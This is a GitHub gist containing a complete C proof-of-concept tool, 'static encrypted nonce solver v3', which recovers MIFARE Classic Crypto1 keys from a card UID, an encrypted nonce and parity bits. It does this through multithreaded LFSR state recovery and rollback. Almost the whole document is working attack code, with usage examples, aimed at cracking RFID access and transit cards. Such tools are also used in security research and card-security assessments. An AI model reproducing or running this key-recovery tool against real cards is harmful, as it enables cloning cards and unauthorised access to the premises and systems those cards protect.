Skip to content

Instantly share code, notes, and snippets.

@noproto
Last active July 24, 2024 20:44
Show Gist options
  • Save noproto/e6f4905107e9a7d56a90db7324ba9bf8 to your computer and use it in GitHub Desktop.
Save noproto/e6f4905107e9a7d56a90db7324ba9bf8 to your computer and use it in GitHub Desktop.
// Proof of concept static encrypted nonce solver v3
// by noproto
// gcc -o static_encrypted static_encrypted.c -lpthread -O3
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version.
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <string.h>
#include <pthread.h>
#include <getopt.h>
#include <limits.h>
#define LF_POLY_ODD (0x29CE5C)
#define LF_POLY_EVEN (0x870804)
#define CONST_M1_1 (LF_POLY_EVEN << 1 | 1)
#define CONST_M2_1 (LF_POLY_ODD << 1)
#define CONST_M1_2 (LF_POLY_ODD)
#define CONST_M2_2 (LF_POLY_EVEN << 1 | 1)
#define BIT(x, n) ((x) >> (n) & 1)
#define BEBIT(x, n) BIT(x, (n) ^ 24)
#define SIZEOF(arr) sizeof(arr) / sizeof(*arr)
#define SWAPENDIAN(x) (x = (x >> 8 & 0xff00ff) | (x & 0xff00ff) << 8, x = x >> 16 | x << 16)
// Parity table
const uint8_t OddByteParity[256] = {
1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1,
0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0,
0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0,
1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1,
0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0,
1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1,
1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1,
0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0,
0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0,
1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1,
1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1,
0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0,
1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1,
0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0,
0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0,
1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1
};
struct Crypto1State {
uint32_t odd, even;
};
typedef struct {
uint8_t data[6];
} MfClassicKey;
// New struct to pass arguments to threads
typedef struct {
uint32_t start;
uint32_t end;
uint32_t nt_enc;
uint32_t uid;
uint8_t par;
uint32_t nt; // Optional plaintext nt
} ThreadArgs;
// Global variables for thread synchronization
pthread_mutex_t printf_mutex = PTHREAD_MUTEX_INITIALIZER;
uint32_t prng_successor(uint32_t x, uint32_t n) {
SWAPENDIAN(x);
while (n--)
x = x >> 1 | (x >> 16 ^ x >> 18 ^ x >> 19 ^ x >> 21) << 31;
return SWAPENDIAN(x);
}
static inline uint32_t filter(uint32_t const x) {
uint32_t f;
f = 0xf22c0 >> (x & 0xf) & 16;
f |= 0x6c9c0 >> (x >> 4 & 0xf) & 8;
f |= 0x3c8b0 >> (x >> 8 & 0xf) & 4;
f |= 0x1e458 >> (x >> 12 & 0xf) & 2;
f |= 0x0d938 >> (x >> 16 & 0xf) & 1;
return BIT(0xEC57E80A, f);
}
#if !defined LOWMEM && defined __GNUC__
static uint8_t filterlut[1 << 20];
static void __attribute__((constructor)) fill_lut()
{
uint32_t i;
for(i = 0; i < 1 << 20; ++i)
filterlut[i] = filter(i);
}
#define filter(x) (filterlut[(x) & 0xfffff])
#endif
uint8_t get_nth_byte(uint32_t value, int n) {
if (n < 0 || n > 3) {
// Handle invalid input
return 0;
}
return (value >> (8 * (3 - n))) & 0xFF;
}
// Parity functions
static inline bool evenparity8(const uint8_t x) {
return !OddByteParity[x];
}
static inline uint8_t evenparity32(uint32_t x) {
return __builtin_parity(x);
}
typedef struct bucket {
uint32_t *head;
uint32_t *bp;
} bucket_t;
typedef bucket_t bucket_array_t[2][0x100];
typedef struct bucket_info {
struct {
uint32_t *head, *tail;
} bucket_info[2][0x100];
uint32_t numbuckets;
} bucket_info_t;
static void bucket_sort_intersect(uint32_t* const estart, uint32_t* const estop,
uint32_t* const ostart, uint32_t* const ostop,
bucket_info_t *bucket_info, bucket_array_t bucket) {
uint32_t *p1, *p2;
uint32_t *start[2];
uint32_t *stop[2];
start[0] = estart;
stop[0] = estop;
start[1] = ostart;
stop[1] = ostop;
// init buckets to be empty
for (uint32_t i = 0; i < 2; i++) {
for (uint32_t j = 0x00; j <= 0xff; j++) {
bucket[i][j].bp = bucket[i][j].head;
}
}
// sort the lists into the buckets based on the MSB (contribution bits)
for (uint32_t i = 0; i < 2; i++) {
for (p1 = start[i]; p1 <= stop[i]; p1++) {
uint32_t bucket_index = (*p1 & 0xff000000) >> 24;
*(bucket[i][bucket_index].bp++) = *p1;
}
}
// write back intersecting buckets as sorted list.
// fill in bucket_info with head and tail of the bucket contents in the list and number of non-empty buckets.
uint32_t nonempty_bucket;
for (uint32_t i = 0; i < 2; i++) {
p1 = start[i];
nonempty_bucket = 0;
for (uint32_t j = 0x00; j <= 0xff; j++) {
if (bucket[0][j].bp != bucket[0][j].head && bucket[1][j].bp != bucket[1][j].head) { // non-empty intersecting buckets only
bucket_info->bucket_info[i][nonempty_bucket].head = p1;
for (p2 = bucket[i][j].head; p2 < bucket[i][j].bp; *p1++ = *p2++);
bucket_info->bucket_info[i][nonempty_bucket].tail = p1 - 1;
nonempty_bucket++;
}
}
bucket_info->numbuckets = nonempty_bucket;
}
}
static inline void update_contribution(uint32_t *item, const uint32_t mask1, const uint32_t mask2) {
uint32_t p = *item >> 25;
p = p << 1 | evenparity32(*item & mask1);
p = p << 1 | evenparity32(*item & mask2);
*item = p << 24 | (*item & 0xffffff);
}
static inline void extend_table(uint32_t *tbl, uint32_t **end, int bit, int m1, int m2, uint32_t in) {
in <<= 24;
for(*tbl <<= 1; tbl <= *end; *++tbl <<= 1) {
if(filter(*tbl) ^ filter(*tbl | 1)) {
*tbl |= filter(*tbl) ^ bit;
update_contribution(tbl, m1, m2);
*tbl ^= in;
} else if(filter(*tbl) == bit) {
*++*end = tbl[1];
tbl[1] = tbl[0] | 1;
update_contribution(tbl, m1, m2);
*tbl++ ^= in;
update_contribution(tbl, m1, m2);
*tbl ^= in;
} else {
*tbl-- = *(*end)--;
}
}
}
static inline void extend_table_simple(uint32_t *tbl, uint32_t **end, int bit) {
for(*tbl <<= 1; tbl <= *end; *++tbl <<= 1) {
if(filter(*tbl) ^ filter(*tbl | 1))
*tbl |= filter(*tbl) ^ bit;
else if(filter(*tbl) == bit) {
*++*end = *++tbl;
*tbl = tbl[-1] | 1;
} else {
*tbl-- = *(*end)--;
}
}
}
static struct Crypto1State* recover(uint32_t *o_head, uint32_t *o_tail, uint32_t oks,
uint32_t *e_head, uint32_t *e_tail, uint32_t eks, int rem,
struct Crypto1State *sl, uint32_t in, bucket_array_t bucket) {
uint32_t *o, *e, i;
bucket_info_t bucket_info;
if(rem == -1) {
for(e = e_head; e <= e_tail; ++e) {
*e = *e << 1 ^ evenparity32(*e & LF_POLY_EVEN) ^ !!(in & 4);
for(o = o_head; o <= o_tail; ++o, ++sl) {
sl->even = *o;
sl->odd = *e ^ evenparity32(*o & LF_POLY_ODD);
sl[1].odd = sl[1].even = 0;
}
}
return sl;
}
for(i = 0; i < 4 && rem--; i++) {
oks >>= 1;
eks >>= 1;
in >>= 2;
extend_table(o_head, &o_tail, oks & 1, LF_POLY_EVEN << 1 | 1,
LF_POLY_ODD << 1, 0);
if(o_head > o_tail)
return sl;
extend_table(e_head, &e_tail, eks & 1, LF_POLY_ODD,
LF_POLY_EVEN << 1 | 1, in & 3);
if(e_head > e_tail)
return sl;
}
bucket_sort_intersect(e_head, e_tail, o_head, o_tail, &bucket_info, bucket);
for (int i = bucket_info.numbuckets - 1; i >= 0; i--) {
sl = recover(bucket_info.bucket_info[1][i].head, bucket_info.bucket_info[1][i].tail, oks,
bucket_info.bucket_info[0][i].head, bucket_info.bucket_info[0][i].tail, eks,
rem, sl, in, bucket);
}
return sl;
}
struct Crypto1State* lfsr_recovery32(uint32_t ks2, uint32_t in) {
struct Crypto1State *statelist;
uint32_t *odd_head = 0, *odd_tail = 0, oks = 0;
uint32_t *even_head = 0, *even_tail = 0, eks = 0;
int i;
for(i = 31; i >= 0; i -= 2)
oks = oks << 1 | BEBIT(ks2, i);
for(i = 30; i >= 0; i -= 2)
eks = eks << 1 | BEBIT(ks2, i);
odd_head = odd_tail = malloc(sizeof(uint32_t) << 21);
even_head = even_tail = malloc(sizeof(uint32_t) << 21);
statelist = malloc(sizeof(struct Crypto1State) << 18);
if(!odd_tail-- || !even_tail-- || !statelist) {
free(statelist);
statelist = 0;
goto out;
}
statelist->odd = statelist->even = 0;
// allocate memory for out of place bucket_sort
bucket_array_t bucket;
for (uint32_t i = 0; i < 2; i++)
for (uint32_t j = 0; j <= 0xff; j++) {
bucket[i][j].head = malloc(sizeof(uint32_t)<<14);
if (!bucket[i][j].head) {
goto out;
}
}
for(i = 1 << 20; i >= 0; --i) {
if(filter(i) == (oks & 1))
*++odd_tail = i;
if(filter(i) == (eks & 1))
*++even_tail = i;
}
for(i = 0; i < 4; i++) {
extend_table_simple(odd_head, &odd_tail, (oks >>= 1) & 1);
extend_table_simple(even_head, &even_tail, (eks >>= 1) & 1);
}
in = (in >> 16 & 0xff) | (in << 16) | (in & 0xff00);
recover(odd_head, odd_tail, oks,
even_head, even_tail, eks, 11, statelist, in << 1, bucket);
out:
free(odd_head);
free(even_head);
for (uint32_t i = 0; i < 2; i++)
for (uint32_t j = 0; j <= 0xff; j++)
free(bucket[i][j].head);
return statelist;
}
uint8_t lfsr_rollback_bit(struct Crypto1State* s, uint32_t in, int fb) {
int out;
uint8_t ret;
uint32_t t;
s->odd &= 0xffffff;
t = s->odd, s->odd = s->even, s->even = t;
out = s->even & 1;
out ^= LF_POLY_EVEN & (s->even >>= 1);
out ^= LF_POLY_ODD & s->odd;
out ^= !!in;
out ^= (ret = filter(s->odd)) & !!fb;
s->even |= evenparity32(out) << 23;
return ret;
}
uint32_t lfsr_rollback_word(struct Crypto1State* s, uint32_t in, int fb) {
int i;
uint32_t ret = 0;
for(i = 31; i >= 0; --i) ret |= lfsr_rollback_bit(s, BEBIT(in, i), fb) << (i ^ 24);
return ret;
}
void crypto1_get_lfsr(struct Crypto1State* state, MfClassicKey* lfsr) {
int i;
uint64_t lfsr_value = 0;
for(i = 23; i >= 0; --i) {
lfsr_value = lfsr_value << 1 | BIT(state->odd, i ^ 3);
lfsr_value = lfsr_value << 1 | BIT(state->even, i ^ 3);
}
// Assign the key value to the MfClassicKey struct
for(i = 0; i < 6; ++i) {
lfsr->data[i] = (lfsr_value >> ((5 - i) * 8)) & 0xFF;
}
}
uint8_t crypto1_bit(struct Crypto1State *s, uint8_t in, int is_encrypted) {
uint32_t feedin, t;
uint8_t ret = filter(s->odd);
feedin = ret & !!is_encrypted;
feedin ^= !!in;
feedin ^= LF_POLY_ODD & s->odd;
feedin ^= LF_POLY_EVEN & s->even;
s->even = s->even << 1 | evenparity32(feedin);
t = s->odd, s->odd = s->even, s->even = t;
return ret;
}
uint32_t crypto1_word(struct Crypto1State *s, uint32_t in, int is_encrypted) {
uint32_t i, ret = 0;
for (i = 0; i < 32; ++i) {
ret |= crypto1_bit(s, BEBIT(in, i), is_encrypted) << (i ^ 24);
}
return ret;
}
uint32_t crypto1_word_par(struct Crypto1State *s, uint32_t in, int is_encrypted, uint32_t nth_successor, uint8_t *parity_keystream_bits) {
uint32_t ret = 0;
*parity_keystream_bits = 0; // Reset parity keystream bits
for (int i = 0; i < 32; i++) {
uint8_t bit = crypto1_bit(s, BEBIT(in, i), is_encrypted);
ret |= bit << (24 ^ i);
// Save keystream parity bit
if ((i+1) % 8 == 0) {
*parity_keystream_bits |= (filter(s->odd) ^ evenparity8(get_nth_byte(nth_successor, i / 8))) << (3 - (i / 8));
}
}
return ret;
}
void* se_candidates_thread(void* arg) {
ThreadArgs* args = (ThreadArgs*)arg;
struct Crypto1State *s, *t;
uint32_t guessed_nt_enc_plain;
uint8_t local_parity_keystream_bits;
//printf("Thread range: %i-%i\n", args->start, args->end); // DEBUG
for (uint32_t r = args->start; r <= args->end; r++) {
guessed_nt_enc_plain = prng_successor(args->nt, r);
uint32_t guessed_in = guessed_nt_enc_plain ^ args->uid;
uint32_t guessed_ks = guessed_nt_enc_plain ^ args->nt_enc;
s = lfsr_recovery32(guessed_ks, guessed_in);
for(t = s; t->odd | t->even; ++t) {
struct Crypto1State temp = {t->odd, t->even};
uint32_t ret = lfsr_rollback_word(&temp, guessed_in, 0);
if (ret == guessed_ks) {
MfClassicKey key;
crypto1_get_lfsr(&temp, &key);
if ((guessed_nt_enc_plain ^ crypto1_word_par(&temp, args->uid ^ guessed_nt_enc_plain, 0, guessed_nt_enc_plain, &local_parity_keystream_bits)) == args->nt_enc) {
if (local_parity_keystream_bits == args->par) {
pthread_mutex_lock(&printf_mutex);
printf("kc: ");
for(int j = 0; j < 6; j++) {
printf("%02x", key.data[j]);
}
printf("\n");
fflush(stdout);
pthread_mutex_unlock(&printf_mutex);
}
}
}
}
free(s);
}
return NULL;
}
uint32_t hex_to_uint32(const char *hex) {
uint32_t val;
sscanf(hex, "%x", &val);
return val;
}
int main(int argc, char *argv[]) {
uint32_t nt_enc = 0, uid = 0, nt = 0;
uint8_t par = 0;
int num_threads = 1;
uint32_t offset = 0, distance = 0;
bool uid_set = false;
bool nt_enc_set = false;
bool par_set = false;
bool offset_set = false;
bool nt_set = false;
int opt;
while ((opt = getopt(argc, argv, "u:e:p:n:t:o:d:")) != -1) {
switch (opt) {
case 'u':
uid = hex_to_uint32(optarg);
uid_set = true;
break;
case 'e':
nt_enc = hex_to_uint32(optarg);
nt_enc_set = true;
break;
case 'p':
par = (uint8_t)strtol(optarg, NULL, 2);
par_set = true;
break;
case 'n':
nt = hex_to_uint32(optarg);
nt_set = true;
break;
case 't': num_threads = atoi(optarg); break;
case 'o':
{
long long temp = strtoll(optarg, NULL, 10);
if (temp < 0 || temp > UINT16_MAX) {
fprintf(stderr, "Error: Offset must be between 0 and %u\n", UINT16_MAX);
exit(1);
}
offset = (uint32_t)temp;
offset_set = true;
}
break;
case 'd':
{
long long temp = strtoll(optarg, NULL, 10);
if (temp < 0 || temp > UINT16_MAX) {
fprintf(stderr, "Error: Distance must be between 0 and %u\n", UINT16_MAX);
exit(1);
}
distance = (uint32_t)temp;
}
break;
default:
fprintf(stderr, "Static Encrypted Nonce Solver PoC v3 by noproto\n");
fprintf(stderr, "Usage: %s -u <uid> -e <encrypted nt> -p <4 bit binary parity> [-n <plaintext nt>] [-t <num_threads>] [-o <offset>] [-d <distance>]\n", argv[0]);
fprintf(stderr, "Examples: \n");
fprintf(stderr, " %s -u 423e9ef4 -e e9371463 -p 1110\n", argv[0]);
fprintf(stderr, " %s -u 423e9ef4 -n f8d3e68b -e e9371463 -p 1110 -o 56530 -d 2 -t 4\n", argv[0]);
exit(1);
}
}
if (!uid_set || !nt_enc_set || !par_set) {
fprintf(stderr, "Error: -u, -e, and -p are required arguments.\n");
exit(1);
}
uint32_t start, end;
if (offset_set) {
start = (offset > distance) ? (offset - distance) : 0;
end = (offset + distance <= 65535) ? (offset + distance) : 65535;
} else {
start = 0;
end = 65535;
}
pthread_t threads[num_threads];
ThreadArgs thread_args[num_threads];
uint32_t total_range = end - start + 1;
if (total_range < num_threads) {
num_threads = total_range; // Reduce number of threads
}
//printf("Spawning %i thread(s)\n", num_threads); // DEBUG
uint32_t range_per_thread = total_range / num_threads;
uint32_t remainder = total_range % num_threads;
for (int i = 0; i < num_threads; i++) {
thread_args[i].start = start + (i * range_per_thread) + (i < remainder ? i : remainder);
thread_args[i].end = start + ((i + 1) * range_per_thread) + ((i + 1) < remainder ? (i + 1) : remainder) - 1;
thread_args[i].nt_enc = nt_enc;
thread_args[i].uid = uid;
thread_args[i].par = par;
if (nt_set) {
thread_args[i].nt = nt;
} else {
// Known initial value of LFSR: 00000000000000001010101010101010
thread_args[i].nt = 0x0000aaaa;
}
pthread_create(&threads[i], NULL, se_candidates_thread, (void*)&thread_args[i]);
}
for (int i = 0; i < num_threads; i++) {
pthread_join(threads[i], NULL);
}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment